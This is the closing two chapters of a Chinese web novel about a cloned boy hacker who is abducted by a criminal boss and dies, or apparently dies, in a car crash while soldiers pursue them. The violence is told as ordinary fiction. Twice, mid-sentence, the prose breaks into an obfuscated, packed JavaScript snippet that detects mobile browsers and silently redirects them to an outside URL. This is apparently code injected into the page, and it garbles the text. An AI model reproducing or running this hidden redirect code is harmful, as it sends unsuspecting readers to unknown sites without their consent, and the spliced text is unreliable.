31. 第 31 章 …… 一个漆黑的深夜,年轻的白人女性焦急地拍着木板门,嘴里不停地叫道:“老板,老板,开开门!我买药!我攒够钱了,我是来买药的!”仔细一看,她怀里还抱着个瘦弱的、眼睛很大却只能无神地睁着、喘着粗气的孩子。 当肥胖的中年男老板终于把门口打开时,他看到面前的漂亮女孩,发出了一阵得意笑声:“波德斯涅日尼克(Подснежник)·斯捷潘诺夫,是你呀,怎么这么大半夜的送上门来?” “我有钱了,你看!那个药物,我买,我买!” “哟!这钱,不是我刚在酒吧时塞到你胸脯里的吗?”男人的笑容越来越得意,“你怎么能拿我的钱给回我呢?” “这是我赚的,沃纽奇,不不,沃尼亚尤希·涅普里亚特内先生,你不能这么不讲道理!”年轻的女生一边躲着他伸过来的毛茸茸大手,一边继续哀求:“我的孩子快不行了,求你,这次不是让你施舍,我给你钱!” “嘿嘿,我还是喜欢小波德你娇声叫着我沃纽奇呢!”男人一把抓住她的肩膀,另一只手却伸向她怀里的孩子。 女孩想紧紧抓住孩子,却又怕老男人扯痛他,只好把手松开一点,让孩子竖着沿着她的腿滑到地板上自己站稳。 那是一个大概三四岁的孩子了,却瘦得异常,呼吸急促而紊乱。眼圈发着红,嘴唇白得毫无血色。 老男人说着“这就对了嘛”,向女孩伸出了他胖得流油的手掌。 女孩闭上眼睛侧开头,一边催促着:“快一点!我的孩子很难受了……” 男人一边满不在乎地说着“那就让他死吧”,一边发出了欲望被稍微满足、而欲求更满足的、像是野兽低吼一般的声音。 “……不!” 随着白人女性的一声微弱的的尖叫,画面变成了:那座黑乎乎的、发臭的肉山,靠着另外半边没打开的木头门,缓缓地滑下去,又轰隆一声倒向一侧。 肚子上一个黑乎乎的、发臭的洞里,咕噜咕噜地往外冒着黑乎乎的、发臭的液体。 白人女性的呼吸声,和那瘦得渗人的孩子一样,沉重而紊乱。而他们的手——四只手,都紧紧地握着一条细铁棍——那是药店老板放在门边的,用来勾住卷帘门开合的铁棍,两端都磨得尖尖的。 那个孩子大得让人不安的眼睛转向他的妈妈:“我杀了……他?” “不、不!是我做的,你什么都没做!”她慌张地松开了紧紧握着的两手。 她的手上一片粘糊糊,而小男孩的两只细弱小手却白净如初。此刻,小男孩的手指也一根一根地从细铁棍上离开,像洁白的花瓣,片片绽放。 细铁棍“铛”地落到地上。 白人女性发呆看着自己的孩子,又突然被这声音惊醒过来似的,冲进店里凭着记忆翻找到男孩平时要用的药物,又转身冲出门口,一把抱起她的孩子,紧紧地抱在胸前,然后大步大步向着深黑的夜幕里冲进去。 …… 原来,我也是被人期待过、被爱过的。 即使那些爱,既贫穷又无奈,既黑暗又血腥。 不顾我呼喊、转身而去的卡佳,是残存在基因里的唐晚星的记忆。 我的孕母,不,我的妈妈,即使知晓我是一个怎样的小孩,即使在遗传基因上与我毫无关系,她也愿意用尽全力,护我、爱我。 少年突然来了一股勇气,猛地推开了门。 屋里的灯惨白惨白的。 他们应该是准备吃晚饭,许是男人们都不在家,女人们打算凑合着吃点馕和奶茶,还有码在盘子上的像方块一样的东西,是炸豆腐吗?不过已经看不出颜色了,盘子被枕在坐在主位的向前扑倒的小奶奶的额头一侧,盛满了她头上流出的红黑色液体。 那位一个月前还温柔地给他夹菜的阿姨,现在倒在了面对门口的那侧墙边,怀里抱着自己5岁的女儿。她们的头部旁边都有一小片红黑色粘稠液体,两人也毫无生机了。 少年向前挪着自己的步伐,呆呆地朝她们伸出手…… “你最好别动。”一声短促的威胁。 少年慢慢地从右侧转过身子,用那只完好的眼睛定定看着身后的鬼魅,轻声问:“为什么?” “哈哈哈哈,你虽然不杀她们,她们却是因你而死!”吴凡笔直地指着他的鼻子。 “为什么?”少年执着地问。 “为什么?呵呵,你以为你做的事,与我们做的又有什么不一样!” 吴凡再走前一步,手里的抢顶住了他的脑门:“你与我们,又有什么不一样?!” “……跟我们走吧!”他收起抢。 少年呆呆地跟在吴凡后面,如一具行尸走肉。 他们的车悄悄地出了城,向着西方那一抹残留的光明前进。 夜晚的戈壁滩星光点点,却照不进少年麻木的内心;越野车在颠簸,他的身体随之摇晃,心却像死水一般平静;车窗外的风呼啸而过,却无法吹散他心头的阴霾。他的视线一直停留在远处一片荒山之上。 不一会儿,连最后一丝微光也消失了,前方是一片无尽的黑暗,让他感受不到一丝希望。 车在戈壁滩上飞弛了一个多小时,终于停了下来,吴凡一手拽起少年胸前的衣服把他拖出车,又推搡着少年往前走了几步。 他们来到一个隐蔽的山洞入口,走进去后还能看见好几台越野车藏匿其中,四周是陡峭的岩壁,如同一道天然屏障将他们与外界隔绝。 不远处,一个庄严得像月夜之王的魁梧身影步步从黑暗的山洞中走出,是张恩国。他阴沉着脸,目光在少年身上打量了一番,当他忽然留意到少年手腕上戴着的特殊手串时,他忽然回身,蒲扇般巨大的手掌猛地落在吴凡脸上。 “头儿,你这是!”吴凡被打蒙了,但紧接着他也马上意识到问题所在—— 就在这时,远方的天际线突然亮起一束车灯,犹如夜空中最耀眼的明星,紧接着直升机的轰鸣声响彻云霄,打破了夜晚的宁静。特种部队的车队与空中力量迅速集结,将峡谷紧紧包围。 特种部队一直暗暗追踪着手串的移动轨迹,直到它停在塔沙古道上即将穿越昆仑山的那一段,那里有个废弃已久的古老隘口——巴赫提隘口,穿越它可以直达中亚地区。 行动的时刻来临! 指挥官通过扩音器向那些亡命之徒发出震撼人心的指令:“立刻释放人质、弃械投降!” 张恩国目光如炬,冷静地审视着逐渐迫近的特种部队,他的脸上没有流露出任何恐惧之色。他迅速而巧妙地指挥着手下,充分利用峡谷的复杂地形,精心布置了一道又一道坚固的防线。 特种部队指挥官紧握着无线电,声音激昂地指挥着这支精锐的队伍。队员们如利剑出鞘,全副武装,蓄势待发。地面部队矫健如猎豹,在峡谷外灵活布阵,准备应对任何突发情况。直升机则如同空中霸主,在峡谷上空盘旋,随时准备进行致命的俯冲支援,展现出无可匹敌的霸气。 然而,张恩国和他的手下绝非易于对付的敌人。他们如同训练有素的狼群,在张恩国的精准指挥下,展现出了惊人的协同作战能力。他们巧妙地利用峡谷的每一寸土地,与特种部队展开了一场惊心动魄的较量。每当特种部队试图突破防线,他们都会如同鬼魅般出现,手中的武器火光闪烁,将攻击者逼至绝境。 枪声、爆炸声在峡谷中回荡,火光与硝烟交织成一幅惨烈的画卷。特种部队虽然装备精良、训练有素,但在张恩国和他的手下面前,却显得举步维艰。他们虽然一次次发起猛烈的攻击,但始终无法撼动张恩国精心布置的防线。整个峡谷仿佛变成了一个巨大的战场,紧张的气氛弥漫在每一个角落,让人不寒而栗。 在这场残酷的混战中,被“劫持”的少年孤独地蜷缩在一块硕大的岩石上,脊背佝偻,眼神空洞地盯着虚无的前方。周围枪声、爆炸声此起彼伏,但他却仿佛置身于另一个世界,对这些嘈杂声音充耳不闻。 生我又是为何? 既带我来,如何不解我惑? 少年缓缓抬头,望向山洞上方那一线天空,直升机的探照灯犹如来自天堂的圣光,穿透黑暗倾泻而下,却照不进他内心的深渊。 而在这喧嚣的战场上,他竟能听到天空传来如同来自远古召唤的缥缈钟声,铛、铛、铛…… 特种部队犹如猛虎下山,不断地向张恩国的防线发起冲击。他们时而如同猎豹般匍匐潜行,寻找敌人的破绽;时而如雷霆万钧,迅猛冲锋,试图撕开裂口。 血腥与枪声交织在一起,激起了那些亡命之徒更加疯狂的抵抗。他们肆无忌惮地开火,甚至不惜以生命为代价来阻挠特种部队的猛攻。他们的眼中燃烧着对战斗的狂热,对死亡的蔑视,仿佛这场血战就是他们存在的全部意义。 然而,张恩国团伙的人数有限,怎能抵挡我方源源不断的生力军呢?胜利的天平开始向我方倾斜。 就在战斗愈发激烈之际,张恩国突然动作迅速地拽过身边的少年,将他紧紧挡在自己身前,犹如一道人体盾牌。 “停手!”他大吼,“不然我杀了他!” 场面瞬间陷入了死寂,只有风声和偶尔响起的枪声回荡在空旷的峡谷中。 所有人的目光都聚焦在那少年身上,然而少年的眼中却没有一丝波澜,仿佛置身事外,他甚至还扯着嘴角,对着紧张对峙的特种部队人员轻笑了一下,笑容平静而淡然,仿佛他预料到这一刻了。 “张恩国,立刻释放人质!”特种部队指挥官马上通过扩音器发出严厉的警告,声音在峡谷中回荡,带着不容置疑的权威,回响在每个人的耳畔。 而此刻,唐万里站在特种部队的后面,目光紧紧地盯着那个被张恩国挟持到前面的孩子。孩子的头发黏糊糊的,凌乱不堪,身形比以前又消瘦了许多,脏兮兮的白衬衣显得空荡荡。原本白皙的肤色因为强烈的紫外线和营养不良,已经变得又黑又黄,甚至透露出一丝病态。他心里怒不可遏:张恩国!你拐走他就拐走吧,和你那么多年兄弟,你把我家小晔弄成这样? 张恩国轻蔑一笑,反驳说:“人质?你们太天真了!你们知道他的代号吗?黑客界的大名鼎鼎的SL!Solar Light,日之华,晔!把名字都摆到台面上了,自信到根本不怕被追踪!这孩子五年前就在网络世界混得风生水起,无所不能。你们知道他以前干过那些大事吗?数都数不过来!”他开始逐一列举这位少年黑客曾经攻破的各大机构服务器。 张恩国一边说着,又用手臂紧紧圈住少年的脖子,强迫他抬起头,正面面对众人。 唐万里仔细一看,更是心如刀绞:少年的左眼还包着纱布,但那纱布已经污秽不堪,左边脸上似乎还残留着一道血泪的痕迹。 他忍不住心中又是一阵大怒:这么久了,小晔的眼伤怎么还没好?那纱布那么脏,万一感染了怎么办?万一瞎了怎么办?听目击者说,他脸上还有个大伤疤! 那个曾经皎若明日、纤尘不染的小晔呢?不、不,只要他能回家,就算瞎了,我也会好好照顾他,我一定会好好疼爱他…… 唐万里的思绪如同脱缰的野马,胡思乱想着,一颗心早已乱成一团。 少年在心中冷笑。张老头这么做,不过是拖延时间,为手下赢得喘息机会,更是为了逼自己做出决断,死心塌地跟随他远走。 自己身负重大罪孽,留在此地只会面临无尽的审判与惩罚。没有理解、没有信任、没有包容,就算赎完罪,也永远只被质疑与排斥。自己的法定监护人,唐家将因自己蒙羞,被舆论推至风口浪尖;而同学们则会惊愕地得知“真相”,以最恶劣的因来推断所知的果。 殊不知我从离开羊城那一刻,甚至再早些时候,我已无意回头了。 不纯种的、不受欢迎、不被期待的鱼。生我,又是为何? 每当张恩国揭示一项“战绩”,跟在特种部队后面的唐万里,面色就愈发沉重。而那些相关机构的人员,也不禁愕然,他们虽然对此少年的技术实力有所耳闻,但却未曾料到他的“成果”竟如此惊人。 正当他滔滔不绝地描述上个月这名少年是如何轻巧破解了欧洲某家知名金融机构——据闻连那位尊贵的女王奶奶都在此有巨额存款——的安全系统时,一声断喝“闭嘴!”从对面的人群中骤然响起,打破了张恩国的滔滔不绝。 唐万里从人群中冲了出来:“小晔,没事!”他大声喊道,“我赔!无论他做了什么,我都愿意为他负责!小晔,爷爷在,爷爷有钱!” 少年听到这话,轻笑了一下,摇了摇头,嘴型似乎在说:“爷爷,何必呢。” “我卖地、卖掉所有楼盘、卖掉所有家产!你是孩子,不到十四岁,是受坏人教唆的,不会判得很重!而且,你揭发他们,是立了功的!我给你请律师!功过相抵!”唐万里继续大吼。 张恩国忍不住笑了,大声回答他:“唐老哥,早就跟你说过了,一个孩子的成长不能光靠给钱,你得知道他想要什么。一个小孩想要的,无非是被全家人疼爱,一家人开开心心吃个饭、喝个汤,哭的时候有人哄、生病受伤时有人抱而已。老哥,你从来都不懂吧?像这样的小孩,一念成佛,一念入魔。你制造了他、唤醒了他,又嫌弃他、疏远他……” “张恩国!你拐走他我不跟你计较!求你让他回来!小晔,你回来!你要的,我一定帮你实现!”唐万里狠狠地打断他,转而恳求少年。 张恩国哈哈大笑,笑声回荡在山洞口,说不出的诡异。 那个被张恩国紧紧圈在臂弯里的少年,也轻轻地笑了起来:“呵呵,我现在想要的是什么,您没看懂吗?” 只见他坦然面对那些黑洞洞的抢口,张开了双臂。 这个动作的含义再明显不过——他在公然挑衅战士们,击毙自己。 战士们的瞄准镜里,少年脸上空无一物,那是一种已经彻底厌倦了这个世界、只想求得一个解脱的姿态。 “不!不要!”唐万里眼中满是惊恐,他试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942765|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图冲过去保护这孩子,但却被周围的人紧紧地拉住,无法挣脱。 张恩国大声补充道,“唐老哥,你听这孩子是怎么说的?迟来的深情比狗贱!”他的声音充满了凉薄与得意。 少年又浅浅地笑了。 这时,从指挥官的嗽叭里却传出了短促的杂音,之后是一个不甚清晰的男孩的声音:“唐晔,对不起,是我误解了你,我向你道歉!请你回……” 把双臂张得大大的少年猛的一个激灵。他当然听得出这是谁的声音。 何嘉南。 张恩国感到被自己圈着的少年簌簌发抖,他刚微微松开手臂,想找机会把这“碍手碍脚”的少年一把推开,就在此时,他圈着少年的脖子的手突然收紧,右手却扬了起来,对着石壁开了两抢:“砰、砰!” 攀着石缝小心接近他们的一个战士猛地一挣扎、应声掉下来,鲜血溅在他们身边不远。 张恩国嗤笑一声:“声东击西?这还是爷爷我教的呢!”话音未落,他已迅速将一个烟雾弹扔出。 浓烟迅速弥漫开来,将山洞内的光线完全吞噬,只剩下闪烁的应急灯光和烟雾中隐隐绰绰的人影。 战士们戴着面具,勇敢地冲进这片混沌之中。他们隐约看到烟雾里,一个魁梧的身影,正将那个纤瘦的少年粗暴地塞进一辆越野车。 特种兵们见状,立刻加速冲刺,企图包围那辆即将发动的车子。然而,就在他们接近的瞬间,汽车发动机突然轰鸣起来,声音震耳欲聋,回荡在整个山洞中。 队伍严防死守,但,那辆越野车竟不是往外冲击逃离,却是朝着意想不到的山洞后方冲去! 原来在这山洞的后方,竟已经打通了一条秘密的通道,直通外面的群山。 随着越野车轰鸣声响起,张恩国驾车如离弦之箭般冲入山洞深处,烟幕弹的浓烟是在为他的逃亡之路做最后的掩护。他心中暗自庆幸对方没有发现这条通路,只要能成功逃离这个山洞,不远处便是国境线,一旦越过,自己便有机会消失在茫茫人海中。 战士们听到汽车声方向,立刻意识到张恩国已经逃跑。 “追!”小队长一声令下,战士们如同猎豹一般跃上各自的越野车,车灯如利剑般刺破浓厚的烟雾,紧随其后冲入山洞。 追逐战在曲折的山洞中展开,战士们紧握着方向盘,他们的眼神坚定而锐利,仿佛能穿透这浓雾和黑暗。车速飞快,每一次加速都让人感到心脏砰砰直跳。 必须在张恩国逃离国境之前将他截获! 然而,山洞中的浓烟和外面复杂的地形给他们的追击带来了极大的困难。他们不得不在视野受限的情况下,依靠夜视装备和听觉进行搜索和追踪。 出了山洞,竟是一个悬崖!所有越野车在紧贴的峭壁的悬崖道路上继续飞奔。 这时,空中的轰鸣声逐渐接近。一架军用直升机从远方飞来,加入了追捕行动。直升机在空中盘旋,为地面部队提供空中支援和视野。 张恩国透过后视镜看到后方紧追不舍的军车和直升机,心中一紧,脚下的油门踩得更深了。他不断地在山路上急转弯,试图利用地形的复杂性甩掉追兵。 特种兵驾驶员熟练地操控着车辆,紧跟在张恩国的车后,而直升机的大探照灯则在空中指引着方向,确保目标不会逃离视野。 车中的少年随着车子的颠簸,身体摇摇晃晃,被浓烟熏得昏昏沉沉的头脑逐渐清醒过来。 Solar Light,日之华?如果这就是所谓的“荣耀”,我早就舍弃它了。 他低头看看自己的手指,白皙得如同雪莲花的花瓣。 “Snow Lotus,雪莲花,”他轻声说,“我也不记得为什么这个词小时候一直萦绕在我脑海里,今天才记起,这是妈妈的名字。但我早在不经意间,把它弄脏了。” 直升机的轰鸣声在山谷中回荡,旋翼在悬崖上空翻飞,探照灯的强光如利剑般刺破黑暗,急切地搜寻着下方的目标。悬崖边的道路狭窄得仅能容一台车驶过,任何其他车辆或障碍物都无法逼停张恩国的车。 直升机上的狙击手已经稳稳地瞄准了那辆亡命逃窜的越野车。车顶的破损让狙击手有了清晰的射击视线,甚至有把握一枪命中张恩国的头部。 然而,指挥官却迟迟没有下令开枪。他紧锁眉头,心中充满矛盾:“不行,那车上还有个人质!”他深知一旦张恩国被击中,失控的车辆极有可能冲下悬崖,那名少年也将难逃一死。 即便那少年真如张恩国所言,以黑客身份做了那么多无法无天的事,也不应如此葬送年幼的生命。 但指挥官也清楚,一旦过了这段悬崖路,便是国境线。若让张恩国逃脱,后果不堪设想,他手中的重要情报,以及他的头脑中的资讯和经验,对于任何情报机构而言都是无价之宝。更何况,如果他带着那名少年黑客一同逃离,对祖国的损失将无法估量。 指挥官只能令直升机上的狙击手和观察员把握时机,抓紧国境线前稍平缓戈壁的数秒钟,一举击毙犯人。 那名少年模糊的视野里,只看得到从头上照下来的圣光。 但就是在汽车、直升机的各种吵杂的轰鸣声中,他突然听见一阵清脆的钟声,“铛、铛、铛……”回荡在峡谷之间,悠扬而神秘。 一半是天涯,一半是深渊。 一念成佛,一念入魔。 是不是成了佛,世界便没了魔? 往西过了这茫茫昆仑,天高云淡任鸟飞。少年猛地一个激灵:魔,要逃了。 自己犯了错。 但至少现在还有最后一个机会弥补些什么。 狙击手通过目镜清楚地看到,那名原来瘫坐在副驾驶的少年,用尽全身力气一跃而起,双手紧抓住方向盘。张恩国迅速反应,一手猛地推开了少年! 但,车子还是失控地撞向了左边的岩壁。 随着一声巨响,车头剧烈反弹并歪向一边,随后整个车身开始向着右侧的深谷滑去—— 砰!一声巨响。车子第一次撞到突出的岩石,翻滚了一圈,有些东西散了出来。 “谁来告诉我,” 砰!又是一声巨响。车子又撞到突出的岩石又翻滚一圈,又有好些部件散了出来。 “问生死因果,” 砰、砰!第三次、第四次,这台破烂的车不知翻滚了多少圈…… 少年仿佛能亲眼看见,自己化为了片片碎片,在风中飘散。 几经翻滚后,汽车重重地摔在一个稍平的岩石上,又马上剧烈地爆炸开。 那焰火呀,就像一朵娇艳的花。 “能否,立地成佛……” …… 在这边山洞外面的唐万里、及所有人,听到从天边传来的爆炸声,心里咯噔一跳! 孩子,你要好好的! …… 一去昆仑西,何时复回翔? …… 一去昆仑西,便无复回翔。 …… 32. 第 32 章 9月份开学第二周,11日周五下午,初二1班有一场和初一年级的篮球友谊赛。本来轻轻松松的比赛,出汗也不多,怎知当晚,何嘉南这个一向健壮的男孩就发起了高烧,躺在床上呻吟不已。 迷糊之中,一只凉凉的手抚上他的额头,“你怎么了?何嘉南……”有个软糯的声音在叫他的名字。 何嘉南努力地眯缝着眼睛看一下,哦,是他最喜欢的人来看他了,顿时开心起来:“你终于回来了?” 坐在床边的白衣纤瘦少年微笑一下,“我想再看看你。” “那你也躺着。”何嘉南拍了拍身边,又尽量往里侧挪了挪。 少年听话地在他身边躺下。 面对面侧卧着,反而两人无话,何嘉南听见自己的心跳,怦然作响。 他一眨不眨地注视着白衣少年一双深邃动人的眼睛。 “你的眼睛真好看,”何嘉南轻声说,“……咦,你的伤全好了吗?”他突然想起,几个月前,这漂亮的眼睛受到过重创。 昏暗光线下,看不出少年的左眼有受过伤的痕迹。 何嘉南伸出手,又怕弄疼少年似的,用手指轻轻地抚摸着少年的额角,嗯,恢复得很好,已经看不出伤痕了。 许是自己烧得太热,触手之处冰凉一片,又特别舒服,何嘉南说:“我好热,你能冰一下我吗?” 少年微笑着,凑得更近了一些。 何嘉南突然想起来,前两个月自己怎么误解了他。他立即坐起来,看着少年的眼睛诚恳地说:“对不起,我错了!” 少年也撑起自己,坐到他前面,注视着他的眼睛,甜甜地笑了:“没事,不用在意。” “你还能原谅我吗?”何嘉南还是蹙着眉。 少年点了点头,脸上绽放着甜美又单纯的笑容,就像一朵洁白娇艳的花,在回荡在夜空的“铛、铛、铛”的钟声里盛开。 “毕竟我这样伤害过你……”何嘉南再次确认。 少年用纤细洁白的手指轻点着何嘉南的嘴唇,阻止他往下说。触感凉凉的,柔柔的。 “那,我能抱着你吗?”何嘉南重燃希望,虔诚地表白。 少年笑着再次点了点头。 不知是否今晚月色萎靡,让这个应允变得如此自然。 他朝少年伸出了双臂。 少年也朝他伸出双臂。 他把越发轻盈的白衣少年拢在怀里。 冰凉的触感让他烧得火热的身体渐渐凉了下来,他感觉舒服多了,但,却越来越看不清眼前的人…… 白衣少年的身影消失在破晓以前。 何嘉南突然放声大哭起来。 何西前几日到京城出差一直没回来,黄莺照顾儿子到半夜,刚刚躺下,又被隔壁房里儿子的哭声吵醒,赶紧过去查看,儿子在床上坐了起来,痛哭失声。 “南南,怎么了你?”她焦急道,坐在床边轻拍着儿子的背。 “唐晔,他来看我了吗……”男孩向母亲哭着问道。 “做梦了吧,大半夜的谁会来!烧退了不少,再睡会儿。”她想让儿子躺下,儿子却一直看着自己空空的两手,喃喃说道: “他……再也见不到了……” 我庆幸曾触碰过你的脸颊,一生中有过你的痕迹。 或许命运的签,只让我们遇见。 我最绝望的,不是再也见不到你,而是在记忆里,你的模样越来越浅。 方源敲了敲门,走进那间办公室。 满头银发的何耀祖坐在桌前,何西站在他身边。 “他的后事,都办好了?”老人发问。此时更觉得他垂垂老矣。 “除了遗嘱还未公开,其他的已办妥。”方源低声回答。 他们的目光,都落在桌上的一个长条形的小盒子上。 “这是相关部门在他们的窝点找到的,装在那孩子的书包最内层。” 这小盒子,方源自是认得。是2014年初,唐晔第一次上小学时,他专程带过去送给这位小少年的。 里面的毛笔上刻着这位少年真正的生辰:癸未年癸未月甲申日巳时一刻。 癸未年癸未月,亦即2003年7月。 何耀祖问:“唐晚星2001年底暴毙,为什么那孩子2003年7月才出生,你告诉我什么人怀孕能怀一年多?唐晔究竟是谁的孩子?” “……何老说得很对,他的出生日期与晚星少爷去世的时间,在情理之外。”方源感怀。 顿了一会儿,像是不忍承认这个事实:“他确实是唐晚星少爷的基因,只不过不是遗腹子,当然也不是卡佳女士所生。那位女士到羊城见孩子时,您应该有所觉察。” “那他究竟是谁的……不,你说,基因?!难道?但他长得和唐晚星并非一模一样呀。” “晚星少爷暴毙,遗体送还给老爷时,我们留下了他的DNA,经过与已故玛合玛丽夫人的头发里残存的Dna的片断结合后,所组合产生的新的DNA。” “啊?!这怎么可能?!”何西惊愕地说道,“母亲与亲儿的DNA能结合吗?” 桌子对面的两位何家人,目瞪口呆。 “从伦理上讲,这确实有些难以接受,但从技术层面来看,并非不可实现。”方源低声回应道。 方源又沉痛地说,“放入无核卵细胞后,由于存活率低下,最后能留下来的,也就是这唯一一个胚胎而已,……但是,胎儿在七个多月时,因为心肺发育不良,被迫早产而出。” “……”何老还在回想着唐老弟的荒唐想法和做法。 “那后来怎么听说他是几岁时才回到你们身边?”何西又提出疑问。 “那唯一成功的孕母是个非常年轻的姑娘,孩子在她怀里成长,她对孩子有了感情。孩子在保温箱里待到足月,那姑娘竟趁喂奶之机把孩子偷出带走,回到自己的国家。直到这孩子四岁多,由于严重健康问题,那女孩再无力把他养活,才只好通知我们把他接回来。” 何西痛心顿首:“既然这孩子是万里先生至亲至爱的血脉凝聚而成,又曾失而复得,这孩子四岁回到他身边,多年来他却为何对其淡漠如斯?” 方源不由得哽咽,片刻,才清了清嗓子回答:“当您富裕到可以用钱来干预特定生命的诞生时,还有什么会让您觉得珍贵呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942766|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘这样的孩子,再克隆一个就是了。’ 老爷最后才想起来的是,感情一开始可能诞生于血缘、偶遇、惊鸿一瞥,却持续于日复一日的相知与陪伴中,如同细水长流,汇聚成深深的情感汪洋。” “那孩子的生身母亲?” “据了解,孩子离开她不久她就犯了重罪,在监牢里贫病交加地死去。” “孩子自己知道吗?” “他应该是知道的。” 何耀祖起身站在窗边,心里感叹道:“致我的故友唐万里:那孩子是怀着怎样的心情去知晓,自己并非由两个人相爱而生,而只是由于生者对逝者的怀念,而被‘制造’出来的。 估计,连他自己都嫌弃过自己吧? 可是他依然绽放了自己所有的美好,为周围的人。” 唐天坐在一个纯白的房间里。 他记得那孩子笑着对他说过,这世上哪有这么多王子公主,哪有那么多满天神佛。 那些所有的关于那个孩子母亲的记忆,究竟是谁的癔想? 是自己的?是那个孩子的?还是那个白发人送黑发人的老人的呢? 小时候,自己躲在那棵大树上面,偷偷地观察他。 那孩子对着树洞在絮絮叨叨些什么呢? …… 树洞,你知道吗,我是最让人喜欢的小王子哦! 我的妈妈,她可是世界上最美丽的公主。 在遥远的北方大陆,有一座世界上最坚固、最华丽的城堡。 那座城堡就像个巨大的儿童乐园,充满欢笑。 有一天,她会驾着最华丽的马车,微笑着叫我宝贝,把我接走。 …… 是那孩子在幻想,自己能受人欢迎、被人钟爱、为人期待吗? 妈妈告诉我,那孩子离去的地方,每年7月份就会开满雪莲花。 开在那个大火肆虐的小镇里的,雪莲花。唐天又痛哭失声。 …… 感慨良久,何耀祖又转头问方源:“你和唐笑难道不打算为那孩子举行葬礼吗?即使只是衣冠冢……” “大小姐确实想为三弟办葬礼,但老爷临终前坚决不肯,甚至在遗嘱中明确提到了这一点。” “这……” “既然还没有找到那孩子已死的证据,老爷相信他还活着,留下嘱托让我用尽一生去寻找他。”方源突然目光炯炯,“我亦如此坚信。” “……” ………… 法医鉴定报告 一、基本信息 案件名称: 鉴定机构: 鉴定日期: 报告编号: 鉴定人: …… 五、鉴定结论 根据对现有爆炸残留物的DNA分析,得出以下结论: 爆炸现场残留物中检测到张恩国的DNA。 爆炸现场残留物中未检测到唐晔的DNA。 本鉴定报告仅作为案件调查的参考依据,具体结论需结合其他证据和调查结果进行综合判断。 …… (全文完)